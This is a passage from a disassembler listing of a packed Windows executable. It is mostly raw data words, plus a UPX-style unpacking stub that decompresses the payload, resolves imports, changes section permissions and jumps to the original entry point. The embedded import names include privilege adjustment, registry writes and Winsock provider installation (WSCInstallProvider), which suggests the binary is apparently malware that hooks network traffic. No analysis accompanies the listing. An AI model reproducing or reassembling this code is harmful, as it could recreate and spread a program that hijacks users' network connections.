365B7DDBh, 0AB315E69h, 4453C71Ch, 352E474Ch dd 612C6478h, 0D2BC3E6Ch, 463320BBh, 82A76C69h, 0E853EC33h dd 1C747075h, 0FBA1EF2Ah, 4B4D8A0Eh, 94737557h, 3C9E3233h dd 614D0EDEh, 83DD1867h, 786F42C3h, 949D7741h, 13326674h dd 2114CA99h, 9C0980C6h, 9D473E8h, 5CEE00E0h, 45F0419Ah dd 50746978h, 0A4DC1460h, 8A4384CEh, 6E6148A0h, 0F5E2B64h dd 704FF2DCh, 0CF542918h, 4D74471Fh, 1E1C6CEEh, 4192F768h dd 63B841F5h, 0B80EE286h, 62447349h, 72816775h, 33224424h dd 247060DBh, 94EE72Ah, 0D65F4236h, 6E89170Ah, 0A4855F01h dd 259B0354h, 1E0h, 60006C00h, 2424748Bh, 28247C8Bh, 33DB33FCh dd 2B3A4D2h, 6DE8h, 33F67300h, 64E8C9h, 1C730000h, 5BE8C033h dd 73000000h, 4102B323h, 4FE810B0h, 12000000h, 75F773C0h dd 0D4EBAA3Fh, 4EE8h, 75CB2B00h, 43E810h, 28EB0000h, 74E8D1ACh dd 0EBC9134Eh, 0C148911Ch, 0E8AC08E0h, 2Dh, 7D003Dh, 800A7300h dd 67305FCh, 777FF883h, 95414102h, 1B3C58Bh, 2BF78B56h dd 5EA4F3F0h, 0D2038EEBh, 0AD920675h, 42D20392h, 41C933C3h dd 0FFFFEDE8h, 0E8C913FFh, 0FFFFFFE6h, 2BC3F272h, 8928247Ch dd 611C247Ch, 0CC2h, 0D2C8h, 12B8h, 7B8h, 0DE47h, 0D068h dd 0D06Ch, 10000000h, 0D060h, 0D064h, 0CD1FB8h, 1C888D00h dd 89100012h, 548B0141h, 528B0424h, 0E902C60Ch, 2B05C283h dd 0FC4A89CAh, 0B8C3C033h, 12345678h, 58F64h, 83000000h dd 535504C4h, 52565751h, 11D5988Dh, 538B1000h, 0E88B5218h dd 68406Ah, 0FF000010h, 6A0473h, 3104B8Bh, 0FF018BCAh dd 0F88B5AD0h, 338B5250h, 320438Bh, 89088BC2h, 438B204Bh dd 8BC2031Ch, 1C4B8908h, 4B8BF203h, 8DCA030Ch, 57501C43h dd 5AD1FF56h, 8430358h, 8B52F88Bh, 0FC468BF0h, 2B04C083h dd 85689F0h, 89104B8Bh, 4B8B244Eh, 4E895114h, 0C4B8B28h dd 0FF144E89h, 0C88589D7h, 8B100012h, 0EB5A59F0h, 68CA030Ch dd 8000h, 0FF57006Ah, 5AC68B11h, 5B595F5Eh, 0E0FF5Dh, 6 dup(0) dd 0D000h, 10h, 3F0C32A5h, 3F19h, 396h dup(0) dd 0C8h, 20h, 616F4C01h, 62694C64h, 79726172h, 47010041h dd 72507465h, 6441636Fh, 73657264h, 4D010073h, 69746C75h dd 65747942h, 69576F54h, 68436564h, 1007261h, 43746547h dd 65727275h, 7250746Eh, 7365636Fh, 53010073h, 7065656Ch dd 65470100h, 61745374h, 70757472h, 6F666E49h, 6C010041h dd 6C727473h, 416E65h, 74654701h, 706D6554h, 68746150h dd 47010041h, 6F4D7465h, 656C7564h, 656C6946h, 656D614Eh dd 47010041h, 6F4D7465h, 656C7564h, 646E6148h, 41656Ch dd 74654701h, 74737953h, 69446D65h, 74636572h, 4179726Fh dd 65470100h, 6E695774h, 73776F64h, 65726944h, 726F7463h dd 1004179h, 64616F4Ch, 6F736552h, 65637275h, 69530100h dd 666F657Ah, 6F736552h, 65637275h, 69460100h, 6552646Eh dd 72756F73h, 416563h, 74654701h, 7473614Ch, 6F727245h dd 0D5000072h, 0 dd 1000000h, 6E65704Fh, 636F7250h, 54737365h, 6E656B6Fh dd 6F4C0100h, 70756B6Fh, 76697250h, 67656C69h, 6C615665h dd 416575h, 6A644101h, 54747375h, 6E656B6Fh, 76697250h dd 67656C69h, 1007365h, 51676552h, 79726575h, 756C6156h dd 41784565h, 65520100h, 65724367h, 4B657461h, 78457965h dd 52010041h, 704F6765h, 654B6E65h, 41784579h, 65520100h dd 6F6C4367h, 654B6573h, 0E2000079h, 64000000h, 0FF000000h dd 0FAFF1186h, 9D0FF09h, 0FF1663FFh, 41FF0F52h, 144FFF04h dd 0FF095CFFh, 0B4FF0D12h, 14B6FF14h, 0FF0AA5FFh, 5AFF0FEFh dd 14BBFF12h, 0FF14A9FFh, 0A6FF1652h, 0C4BFF0Bh, 0FF18E7FFh dd 40FF1171h, 0CBEFF0Ch, 0FF0BA9FFh, 0A0FF0C09h, 0EF6FF0Bh dd 0FF0EF7FFh, 7FF0EF1h, 0FF0FF0Ch, 0FF120EFFh, 9AFF1148h dd 231FF0Eh, 0FF0339FFh, 6BFF032Fh, 10B2FF10h, 0FF0628FFh dd 62FF0490h, 1442FF01h, 0FF07BBFFh, 0DFFF0299h, 21DFF04h dd 0FF0219FFh, 17FF0321h, 21CFF02h, 0FF106AFFh, 5AFF039Ch dd 320FF03h, 0FF035CFFh, 41FF0CBBh, 0EC0012h, 1500000h dd 5F010000h, 746E6F63h, 666C6F72h, 5F010070h, 65637865h dd 685F7470h, 6C646E61h, 337265h, 735F5F01h, 615F7465h dd 745F7070h, 657079h, 705F5F01h, 6D665F5Fh, 65646Fh, 705F5F01h dd 6F635F5Fh, 646F6D6Dh, 5F010065h, 756A6461h, 665F7473h dd 766964h, 735F5F01h, 73757465h, 616D7265h, 72656874h dd 5F010072h, 74696E69h, 6D726574h, 5F5F0100h, 6D746567h dd 616E6961h, 736772h, 63615F01h, 6E6C646Dh, 78650100h dd 1007469h, 7063585Fh, 6C694674h, 726574h, 78655F01h dd 1007469h, 7465735Fh, 7063626Dh, 63770100h, 79706373h dd 63770100h, 74616373h, 6F5F0100h, 6978656Eh, 5F010074h dd 6C6C645Fh, 78656E6Fh, 1007469h, 65706F66h, 6601006Eh dd 736F6C63h, 74010065h, 656D69h, 61727301h, 100646Eh dd 78435F5Fh, 61724678h, 6148656Dh, 656C646Eh, 6D010072h dd 6F6C6C61h, 66010063h, 656572h, 0F700h, 1B800h, 70520100h dd 72745363h, 46676E69h, 41656572h, 75550100h, 6F546469h dd 69727453h, 41676Eh, 69755501h, 65724364h, 657461h, 10200h dd 1C800h, 53570100h, 756E4543h, 6F72506Dh, 6F636F74h dd 100736Ch, 49435357h, 6174736Eh, 72506C6Ch, 6469766Fh dd 7265h, 0 dd 4550h, 2014Ch, 45D07FBBh, 2 dup(0) dd 10F00E0h, 6010Bh, 2800h, 8C00h, 0 dd 284Eh, 1000h, 4000h, 400000h, 1000h, 200h, 4, 0 dd 4, 0 dd 0D000h, 400h, 0 dd 2, 100000h, 1000h, 100000h, 1000h, 0 dd 10h, 2 dup(0) dd 3034h, 8Ch, 4000h, 8AD8h, 12h dup(0) dd 1000h, 1D4h, 6 dup(0) dd 7865742Eh, 74h, 2644h, 1000h, 2800h, 400h, 3 dup(0) dd 0E0000020h, 7273722Eh, 63h, 8AD8h, 4000h, 8C00h, 2C00h dd 3 dup(0) dd 40000040h, 0C000h, 0 dd 0C3CC0000h, 68860000h, 0FF5B360Ah, 8D85FFFFh, 9182A98Ah dd 0D18BAD2Dh, 481E8FBFh, 0B60BFDE0h, 0E91226CDh, 169A84C6h dd 0DBFF8B74h, 0A92EDFECh, 0DB4388A1h, 2C5E1890h, 4450DF0Ah dd 2FFFFFFDh, 4F07064Ch, 7CB504F8h, 48945203h, 7D58B698h dd 0ED88AE0Ah, 6A603FC0h, 0FFC4EC48h, 98D8BFFFh, 5A7C5098h dd 1E3344Fh, 10FE3CEh, 0CB49F9D1h, 0E28D302h, 0FFE31D7Dh dd 528A11BFh, 31FCC285h, 68C82B1Ah, 56055E4Eh, 3140DF1h dd 746FFFFFh, 2E420332h, 7151FCC1h, 28FAA9E8h, 48A444FDh dd 447FD862h, 0FFD1B36Ah, 0AB3FFFFh, 2BC62E95h, 0F0D3EB14h dd 845D43B6h, 78B4C79Bh, 0C2693679h, 0D5569487h, 0BFFFF6FCh dd 1E8327E4h, 9A43F9A4h, 402BC102h, 0C1878A4Dh, 41BCA402h dd 8912FF40h, 77FFFFFFh, 5E393B36h, 722882AFh, 993E6F0h dd 46820FF8h, 5C72CDFDh, 2C5C4130h, 5B5CF5EBh, 0FFFFF12Bh dd 265058C9h, 0F6EB8516h, 10023190h, 8C8AE904h, 19570A7h dd 0ADFFC768h, 8CCC7FFFh, 8D0130CAh, 9BF408C9h, 0C01BB6BCh dd 1A42206h, 0D2522B31h, 0F85F011Ch, 0C95C42FFh, 1309C4BFh dd 218AE82h, 4B66813Eh, 360619A1h, 0FFFFFFFFh, 0EBB99949h dd 0AFC31C6Dh, 91C00A0Ah, 14A080Fh, 0D6F409E8h, 98D05138h dd 0F314B700h, 6F4AE8AAh, 0B605FFFFh, 385335EBh, 5597B828h dd 815D10E8h, 9212D8EDh, 0DCCB58Dh, 0FB7FFFFAh, 0F49468Bh dd 4C0770Fh, 56DEF02Bh, 801DB1B0h, 31C768Bh, 0C4BD8DF2h dd 0FFFFFF30h, 34042C97h, 0F801487Bh, 7401DC6Dh, 44738B15h dd 0B90EF685h, 7B3E7923h, 3BF3C840h, 0FFFFFFFFh, 0A4F3FAEAh dd 8F8CB450h, 2F018E4Bh, 1705B46Fh, 530D2C51h, 0E34BE82Ah dd 858B0190h, 0C7B029B0h, 0FE05FFFFh, 7271018h, 374B01B6h dd 324C62Ch, 708D89CCh, 35FC4E22h, 51D7406Ah, 0E0D0BFFFh dd 259AC5D6h, 25BC850Eh, 9832E6DBh, 0B22C1BC4h, 6E051308h dd 7238F8D5h, 5C302894h, 0CF43433Ah, 0FFE05FFFh, 0C985344Eh dd 3D9A625Bh, 9D033C62h, 0A36B0D3Ah, 74B5C402h, 6F958B7Bh dd 0FFFFFFF8h, 738DD819h, 3012440Dh, 0A2C40C88h, 0F72DEBD2h dd 748057C1h, 0E181521Eh, 0C260CC44h, 0FFFFFF4Bh, 91852517h dd 0CC0E5031h, 160EFF1Ch, 0E495284Eh, 0A0551D26h, 856D0341h dd 5C3F522Ch, 0FEB7FFFFh, 66A0D96h, 914421Ah, 95BC1C4Ah dd 9C0815E0h, 84888035h, 0DE431CA2h, 5FF7535h, 0C43FFFEh dd 0FC7E0260h, 3F1404Bh, 0E906C6F7h, 230428C5h, 4689E624h dd 4BFD3501h, 57BCFFFDh, 48242E8h, 0D624D64Fh, 0C7031328h dd 45DA49E6h, 0BCB5870Ch, 6F0B5BFFh, 51092766h, 5BEB5DC3h dd 0B8FCC4DDh, 819001E8h, 0FFFFFFFFh, 0EB815B08h, 75C9148Fh dd 51CB030Eh, 850E93FFh, 0F6A72248h, 0D3470456h, 498EC1FBh dd 7402AFFBh, 0C4BFFFFFh, 0D5085216h, 75B1C3AFh, 0ABC844FCh dd 3AB0CDCh, 4C2835Ah, 0ACC6E4EBh, 0FFFFF5BFh, 0AFC57506h dd 0E1991EC9h, 0F85A2A45h, 80479C7Dh, 3E92435Fh, 5974C3DFh dd 0FFFF3877h, 52E9FFFFh, 3C76F303h, 2BD3C8B0h, 0ADF84AD8h dd 0F8EB6881h, 83C873DAh, 250E08E9h, 0ED4D21E4h, 556FC766h dd 6645FFFEh, 0CF161BFBh, 41066ADh, 0FB7DA3D8h, 0D81E603h dd 44BFFF3Fh, 0E77F49FBh, 6C768A0Fh, 0CDC9D83Ah, 7019BFFh dd 71F22948h, 0FFFFC049h, 76B72A0Bh, 4A1F3F73h, 0DC66C120h dd 28278153h, 3075B0Ch, 0C2FFFF5Bh, 23F407BFh, 9FF2190Ch dd 0E8FAAF82h, 23C4351Ch, 3C15E354h, 9302C448h, 0F855A3C9h dd 743C48FFh, 2EFE070Ah, 0AE00B10h, 0F7C2EB50h, 0FFFFEAAAh dd 1046B77Fh, 7D75A8A9h, 0EE8A4C90h, 0F1747708h, 78AB5831h dd 40FC4A6Ch, 4B12125Eh, 80AA5FFCh, 0F8F4403Ch, 347DCF3Bh dd 77B69B06h, 817FFFFFh, 0B2E82C24h, 480FA063h, 8AC8FE74h dd 2A1C75D7h, 890DD038h, 0B49CC26h, 1DC1BFFCh, 0C4866A08h dd 9801060Eh, 0BB0CE7EBh, 0FFEBE7CEh, 0C8EB7FFFh, 5E7B06EAh dd 9246BC59h, 302A3B35h, 0B1422998h, 0F167EA6h, 8A0188E9h dd 7FF6811Ah, 0EB9DBAE3h, 5C378E4Eh, 2EC83C2h, 69081866h dd 0FFFF4B4Dh, 0FE16527Fh, 491C8E59h, 0B04D5691h, 0DFD6572Fh dd 1FDFBEE5h, 0EC16C8A1h, 0FF817FE5h, 4EBCA6FFh, 0ED43CDDEh dd 2618B294h, 0E04D7443h, 4B511C73h, 3EDF808h, 7FFFFF0Bh dd 247718Bh, 831DA5F3h, 434828E1h, 47BFF91h, 6FA4FA16h dd 1B3619D1h, 0F02FFB42h, 0CAAB7CFFh, 60CE5AAAh, 563D323Bh dd 0A6329040h, 0A2A275C3h, 6F4ED140h, 6A7FC6FDh, 479A9C17h dd 0F91B948h, 5251F00Eh, 5317AC56h, 6FADFFA8h, 89D6C8FFh dd 0EC7DBFBBh, 161A8995h, 3618486Eh, 2F9921B2h, 0FF205E13h dd 7CFFFFFFh, 164F6004h, 0E8CA9383h, 0F40E4806h, 6F084952h dd 54A922C4h, 708B8D0Fh, 30711E51h, 8106D971h, 0ECE97FFFh dd 41EE12D3h, 0B592DDD4h, 15291246h, 9FFB6EC2h, 2D4B8F36h dd 0CA7D0BFEh, 1E8C285Ah, 3BFA901Bh, 0F90E967Dh, 0FFFFFE9Fh dd 0C589DAFFh, 0C740F327h, 0CDF73005h, 0E02D35CDh, 0E38F392Bh dd 5E499C52h, 3916AED2h, 8400BDAh, 0B7F4BFFFh, 4A652AEAh dd 510E402Dh, 32960924h, 0C05DF1D7h, 1D437339h, 0FFFE3784h dd 6F49AF2h, 1EA60874h, 843E85Fh, 1240C26h, 0D97E833Dh dd 0FFF521FFh, 507BF42Fh, 180F5157h, 77E140B5h, 48599053h dd 96E915C6h, 8DFFE740h, 62A2A37Fh, 8252D91Bh, 0BE198588h dd 0C2D88389h, 12967310h, 0C4BFFFFFh, 8B340871h, 0F232A093h dd 0E6993F25h, 0A1B4BAD2h, 719261CDh, 4EEB4E67h, 0FFFFF0BFh dd 20E9725Ch, 0E5982424h, 7A7D5C6h, 0D2851455h, 0DE1D602h dd 0F22A83AFh, 0FFFE44C7h, 8460FFFFh, 85A2912Ch, 0A9555240h dd 5250922h, 20B4E05Fh, 220EEB6Ah, 838C4103h, 0B0E39587h dd 37FFFF51h, 0A322A220h, 695AB854h, 3449C29Dh, 5B0224A1h dd 9EB0EBC4h, 0FFFFFFFCh, 0DACD7915h, 0B5FC8DA4h, 3A5ED601h dd 2B3033F3h, 0E0C889F1h, 0D075C57Dh, 4D3B1C19h, 0FFF8FC0Ch dd 365A1BFFh, 2093A515h, 2138FC74h, 8AF8290h, 40681AB0h dd 1448B53Ch, 0F02FFF48h, 8D166E17h, 0FC03017Ch, 105002C5h dd 0C173A881h, 27478AACh, 0FFFFFFD6h, 8D05E9A8h, 2C746822h dd 0DA201288h, 0D2317521h, 0E5EB22Eh, 3510CA8Ah, 0B4A52212h dd 0CE37FC4h, 90A7AE25h, 1E7041C8h, 69CF7407h, 54BD1BFFh dd 206E6F9Eh, 0F81E3D84h, 1F6854DCh, 0FFE0F1FFh, 7033FFFFh dd 75646312h, 0F9732514h, 6C7D7CF2h, 0E5D9F5BDh, 2062746Eh dd 7DDBFB77h, 0D4BFA35Bh, 315EB45Fh, 53C71CABh, 352E47B4h dd 9B2C6478h, 7F451BE1h, 0BBD2BC3Eh, 0A7BD3320h, 4EEC3382h dd 78DEDEA5h, 0C3747075h, 6CFBA1EFh, 0C2574B4Dh, 0A37EA5FDh dd 3C9ED794h, 0A74D0EDEh, 0C383DD18h, 0FFFF6F42h, 776D4BFFh dd 6674949Dh, 0CA991332h, 80C62114h, 73E89C09h, 0E009D4h dd 419A5CEEh, 6EADFFAh, 4D6978FAh, 0A4DC1460h, 8A4384CEh dd 6FA97FA0h, 5E2BD32Ah, 0A8F2DC0Fh, 0CF542918h, 0FF02471Fh dd 0EEAC1BFFh, 681E1C6Ch, 0F54192F7h, 8663B841h, 49B80EE2h dd 0AB7FD460h, 7281E288h, 33224424h, 0FFE060DBh, 0E7A70BFFh dd 4236094Eh, 170AD65Fh, 5F016E89h, 354A485h, 0A8E0259Bh dd 14394B8Dh, 28B60B4h, 0DBFDDF24h, 0FC28E0A5h, 0A4D23329h dd 6DE802B3h, 33F67317h, 0B7EEE8C9h, 864BFE7h, 0E8C0331Ch dd 411A235Bh, 4FE810B0h dd 0EEED9B0Bh, 73C012FFh, 0AA3F75F7h, 4EE8D4EBh, 75CB2B0Dh dd 28EB4316h, 0F8B7FF77h, 74E8D1ACh, 1CEBA24Eh, 0E0C14891h dd 2DE8AC08h, 7D003D15h, 77FEDFA9h, 0FC800A3Dh, 83067305h dd 45777FF8h, 0C58B9541h, 17FFF1B3h, 0F78B7068h, 0EB5EF825h dd 75D2038Eh, 92AD9206h, 6EDE015Ah, 75C34206h, 7CEDE841h dd 77BADE43h, 72068EA5h, 9A2BC3F2h, 611C0389h, 76E697C2h dd 0D2C87C03h, 712B803h, 8C0DE47h, 0D0682EE0h, 6B10A3C2h dd 4B74BDB1h, 0CD1FB864h, 268A8D04h, 7C405FF0h, 1418910h dd 0C60C52B4h, 5ADFE902h, 91292817h, 0CF0189CAh, 5678B8C3h dd 0FBC404BFh, 8F641234h, 55C93705h, 56575153h, 0FB60DAB4h dd 0D5988D52h, 0D58B3211h, 4DA84952h, 685C1B15h, 2B73FF2Eh dd 0C0ADFFC4h, 3104B8Bh, 0FF018BCAh, 1BFF5AD0h, 7D0A22ADh dd 20438B33h, 0E6C0A1Fh, 204BDB26h, 25E31C09h, 0DBAB690Ch dd 50108DB6h, 43D1FF49h, 97134F03h, 2C2D5AD8h, 83FC10F0h dd 76EDB90Dh, 85689F7h, 244E8947h, 6511405h, 737B2E28h dd 1405BC1Bh, 0C8BBD7FFh, 5A5927A7h, 0B56F3FEBh, 5568A099h dd 8B8F5771h, 0B1AC5AC6h, 591606D4h, 1FFC9h, 298AA47Fh dd 32A5D2D0h, 3F193F0Ch, 15490142h, 0A02B89Dh, 0C0C88F12h dd 522013AAh, 43FFE201h, 174D556h, 746C754Dh, 74794269h dd 0F550BB6Ah, 576F5465h, 266843BAh, 2BFD8800h, 5301E3A9h dd 7065656Ch, 3550CE19h, 4FCD7703h, 55586FF5h, 65541A9Eh dd 0D556706Dh, 0D0851CCh, 15553BCAh, 13334822h, 0D55642AAh dd 5001AADEh, 6157AB2h, 0DBB6C340h, 0DA0DA26Fh, 156C0DF6h dd 6F8A52C6h, 7D96DB97h, 698E90D7h, 666F657Ah, 1D6E650Fh dd 259E5B5Ah, 45614C57h, 10403CC3h, 0D50216A0h, 0C16DAF3Dh dd 0EED1220Ch, 86550B6Bh, 76B5001h, 0D00354CBh, 3F64AABDh dd 8655AD41h, 1B23B164h, 1BC00804h, 38118B59h, 80135558h dd 0C05B9A79h, 83CB5AAAh, 86FF6FE2h, 86FF9C30h, 9FAFF11h dd 6302D0FFh, 0EDB7FF16h, 0F52FFDBh, 0FF0441FFh, 5CFF144Fh dd 0FF0D120Eh, 2B608B4h, 0B6DF0AA5h, 0EFFFDBE5h, 0FF125A17h dd 5202A9BBh, 0FF0BA626h, 5DB6DB4Bh, 0FF780CAAh, 8403B71h dd 65A902BEh, 116DB2FBh, 0F6A00509h, 2F7FF0Eh, 0D96DB7F1h dd 0F00E07B6h, 23480E35h, 2310E9Ah, 0FB7CBEDFh, 0FF0339FFh dd 106B022Fh, 628B2FFh, 626890FFh, 7C42FF01h, 506FB6DBh dd 99FF07BBh, 1D0EDF1Dh, 0FF021923h, 0DBE5B621h, 1C0517B6h dd 0FF106A0Bh, 20025A9Ch, 596D4016h, 0FE50BB5Ch, 0C366D556h dd 1503EECh, 7C9D635Fh, 663BA000h, 0E7650B70h, 0D6FF685Fh dd 72CA23BAh, 0E65F1133h, 7070610Fh, 7079745Fh, 9DBA80E6h dd 665F0965h, 1200B7Eh, 6D3D6EB3h, 0D8E60C0Dh, 0E376CDAh dd 5396D43h, 0DC17B9F2h, 69CC1172h, 1C107474h, 0A377ED67h dd 731018B5h, 63397367h, 0BB686E6Dh, 7DB70CD6h, 63580E21h dd 337BDF82h, 13916700h, 677B6D4Dh, 6362DDDBh, 736377A2h dd 61077906h, 6B0BD19h, 5F225830h, 743B0CF6h, 0AEC5C686h dd 7A66306h, 52DDB9FEh, 73056D0Ch, 4328D672h, 1467878h dd 0BD8CDEDh, 8B65B16Dh, 7B404F0Dh, 0F7FD2F06h, 220B81Ah dd 70523F00h, 1281963h, 0F7152E0Dh, 119B4755h, 123ED66Ch dd 1A2F270Eh, 266BC00h, 23A33C8h, 0F7000E00h, 8A50AE98h dd 5611730Dh, 0A826218h, 0E7490002h, 33407C80h, 7FBB0002h dd 2736010Fh, 8C289647h, 4040284Eh, 39009600h, 8400D042h dd 341ECDF8h, 0D8526230h, 442E238Ah, 0D44B02B0h, 9C9C9501h dd 2826444Ah, 0A824B62Fh, 4AFB9B33h, 0AC7C1109h, 0F000232Ch dd 0CC0D8249h, 0C3h, 0 dd 0FF480000h, 2 dup(0) ; --------------------------------------------------------------------------- pusha mov esi, offset dword_406000 lea edi, [esi-5000h] push edi or ebp, 0FFFFFFFFh jmp short loc_40E152 ; --------------------------------------------------------------------------- align 8 loc_40E148: ; CODE XREF: _1:loc_40E159j mov al, [esi] inc esi mov [edi], al inc edi loc_40E14E: ; CODE XREF: _1:0040E1E6j _1:0040E1FDj add ebx, ebx jnz short loc_40E159 loc_40E152: ; CODE XREF: _1:0040E140j mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_40E159: ; CODE XREF: _1:0040E150j jb short loc_40E148 mov eax, 1 loc_40E160: ; CODE XREF: _1:0040E16Fj _1:0040E17Aj add ebx, ebx jnz short loc_40E16B mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_40E16B: ; CODE XREF: _1:0040E162j adc eax, eax add ebx, ebx jnb short loc_40E160 jnz short loc_40E17C mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_40E160 loc_40E17C: ; CODE XREF: _1:0040E171j xor ecx, ecx sub eax, 3 jb short loc_40E190 shl eax, 8 mov al, [esi] inc esi xor eax, 0FFFFFFFFh jz short loc_40E202 mov ebp, eax loc_40E190: ; CODE XREF: _1:0040E181j add ebx, ebx jnz short loc_40E19B mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_40E19B: ; CODE XREF: _1:0040E192j adc ecx, ecx add ebx, ebx jnz short loc_40E1A8 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_40E1A8: ; CODE XREF: _1:0040E19Fj adc ecx, ecx jnz short loc_40E1CC inc ecx loc_40E1AD: ; CODE XREF: _1:0040E1BCj _1:0040E1C7j add ebx, ebx jnz short loc_40E1B8 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_40E1B8: ; CODE XREF: _1:0040E1AFj adc ecx, ecx add ebx, ebx jnb short loc_40E1AD jnz short loc_40E1C9 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_40E1AD loc_40E1C9: ; CODE XREF: _1:0040E1BEj add ecx, 2 loc_40E1CC: ; CODE XREF: _1:0040E1AAj cmp ebp, 0FFFFF300h adc ecx, 1 lea edx, [edi+ebp] cmp ebp, 0FFFFFFFCh jbe short loc_40E1EC loc_40E1DD: ; CODE XREF: _1:0040E1E4j mov al, [edx] inc edx mov [edi], al inc edi dec ecx jnz short loc_40E1DD jmp loc_40E14E ; --------------------------------------------------------------------------- align 4 loc_40E1EC: ; CODE XREF: _1:0040E1DBj _1:0040E1F9j mov eax, [edx] add edx, 4 mov [edi], eax add edi, 4 sub ecx, 4 ja short loc_40E1EC add edi, ecx jmp loc_40E14E ; --------------------------------------------------------------------------- loc_40E202: ; CODE XREF: _1:0040E18Cj pop esi mov edi, esi mov ecx, 0CCh loc_40E20A: ; CODE XREF: _1:0040E211j _1:0040E216j mov al, [edi] inc edi sub al, 0E8h loc_40E20F: ; CODE XREF: _1:0040E234j cmp al, 1 ja short loc_40E20A cmp byte ptr [edi], 1 jnz short loc_40E20A mov eax, [edi] mov bl, [edi+4] shr ax, 8 rol eax, 10h xchg al, ah sub eax, edi sub bl, 0E8h add eax, esi mov [edi], eax add edi, 5 mov al, bl loop loc_40E20F lea edi, [esi+0C000h] loc_40E23C: ; CODE XREF: _1:0040E25Ej mov eax, [edi] or eax, eax jz short loc_40E287 mov ebx, [edi+4] lea eax, [eax+esi+0E8E8h] add ebx, esi push eax add edi, 8 call dword ptr [esi+0E974h] xchg eax, ebp loc_40E259: ; CODE XREF: _1:0040E27Fj mov al, [edi] inc edi or al, al jz short loc_40E23C mov ecx, edi jns short near ptr loc_40E26A+1 movzx eax, word ptr [edi] inc edi push eax inc edi loc_40E26A: ; CODE XREF: _1:0040E262j mov ecx, 0AEF24857h push ebp call dword ptr [esi+0E978h] or eax, eax jz short loc_40E281 mov [ebx], eax add ebx, 4 jmp short loc_40E259 ; --------------------------------------------------------------------------- loc_40E281: ; CODE XREF: _1:0040E278j call dword ptr [esi+0E980h] loc_40E287: ; CODE XREF: _1:0040E240j mov ebp, [esi+0E97Ch] lea edi, [esi-1000h] mov ebx, 1000h push eax push esp push 4 push ebx push edi call ebp lea eax, [edi+20Fh] and byte ptr [eax], 7Fh and byte ptr [eax+28h], 7Fh pop eax push eax push esp push eax push ebx push edi call ebp pop eax popa lea eax, [esp-80h] loc_40E2BB: ; CODE XREF: _1:0040E2BFj push 0 cmp esp, eax jnz short loc_40E2BB sub esp, 0FFFFFF80h jmp loc_40284E ; --------------------------------------------------------------------------- align 4 dd 8 dup(0) dd 0E130BF00h, 0F78B0040h, 69B9h, 0F4378000h, 0E201C783h dd 0E6FFF8h, 33Fh dup(0) _1 ends ; Section 3. (virtual address 0000F000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 0000F000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _2 segment para public 'CODE' use32 assume cs:_2 ;org 40F000h assume es:nothing, ss:nothing, ds:_0, fs:nothing, gs:nothing dd 3 dup(0) dd 30001h, 80000190h, 80000030h, 3, 800000A0h, 0Eh, 80000110h dd 10h, 80000150h, 3 dup(0) dd 20000h, 81h, 80000050h, 83h, 80000078h, 3 dup(0) dd 10000h, 0 dd 68h, 4198h, 2200h, 5 dup(0) dd 10000h, 419h, 90h, 6398h, 6000h, 5 dup(0) dd 20000h, 1, 800000C0h, 2, 800000E8h, 3 dup(0) dd 10000h, 419h, 0D8h, 0F19Ch, 2E8h, 5 dup(0) dd 10000h, 419h, 100h, 0F488h, 128h, 5 dup(0) dd 10000h, 80h, 80000128h, 3 dup(0) dd 10000h, 419h, 140h, 0F5B4h, 22h, 5 dup(0) dd 10000h, 1, 80000168h, 3 dup(0) dd 10000h, 409h, 180h, 0F5DCh, 30Ch, 2 dup(0) dd 440003h, 4C004Ch, 0C398h, 28h, 20h, 40h, 40001h, 0 dd 280h, 5 dup(0) dd 800000h, 8000h, 808000h, 80h, 800080h, 8080h, 0C0C0C0h dd 808080h, 0FF0000h, 0FF00h, 0FFFF00h, 0FFh, 0FF00FFh dd 0FFFFh, 0FFFFFFh, 8 dup(0) dd 3 dup(88888888h), 80888888h, 77777787h, 2 dup(77777777h) dd 80777777h, 0FFFF8F87h, 2 dup(0FFFFFFFFh), 80F7FFFFh dd 0FFFF8F87h, 2 dup(0FFFFFFFFh), 80F7FFFFh, 0FFFF8F87h dd 2 dup(0FFFFFFFFh), 80F7FFFFh, 0FFFF8F87h, 2 dup(0FFFFFFFFh) dd 80F7FFFFh, 0FFFF8F87h, 2 dup(0FFFFFFFFh), 80F7FFFFh dd 0FFFF8F87h, 2 dup(0FFFFFFFFh), 80F7FFFFh, 0FFFF8F87h dd 2 dup(0FFFFFFFFh), 80F7FFFFh, 0FFFF8F87h, 2 dup(0FFFFFFFFh) dd 80F7FFFFh, 0FFFF8F87h, 2 dup(0FFFFFFFFh), 80F7FFFFh dd 0FFFF8F87h, 2 dup(0FFFFFFFFh), 80F7FFFFh, 0FFFF8F87h dd 2 dup(0FFFFFFFFh), 80F7FFFFh, 0FFFF8F87h, 2 dup(0FFFFFFFFh) dd 80F7FFFFh, 0FFFF8F87h, 2 dup(0FFFFFFFFh), 80F7FFFFh dd 0FFFF8F87h, 2 dup(0FFFFFFFFh), 80F7FFFFh, 0FFFF8F87h dd 2 dup(0FFFFFFFFh), 80F7FFFFh, 0FFFF8F87h, 2 dup(0FFFFFFFFh) dd 80F7FFFFh, 0FFFF8F87h, 2 dup(0FFFFFFFFh), 80F7FFFFh dd 0FFFF8F87h, 2 dup(0FFFFFFFFh), 80F7FFFFh, 88888887h dd 2 dup(88888888h), 80878888h, 77777787h, 2 dup(77777777h) dd 80777777h, 44444487h, 44444444h, 404444h, 80000000h dd 44444487h, 44444444h, 70474444h, 80700777h, 44444487h dd 44444444h, 70474444h, 80700777h, 44444487h, 2 dup(44444444h) dd 80444444h, 77777787h, 2 dup(77777777h), 80777777h, 3 dup(88888888h) dd 80888888h, 8 dup(0) dd 0FFFFFFFFh, 1Dh dup(0) dd 2 dup(0FFFFFFFFh), 0C680h, 28h, 10h, 20h, 40001h, 0 dd 80h, 5 dup(0) dd 800000h, 8000h, 808000h, 80h, 800080h, 8080h, 0C0C0C0h dd 808080h, 0FF0000h, 0FF00h, 0FFFF00h, 0FFh, 0FF00FFh dd 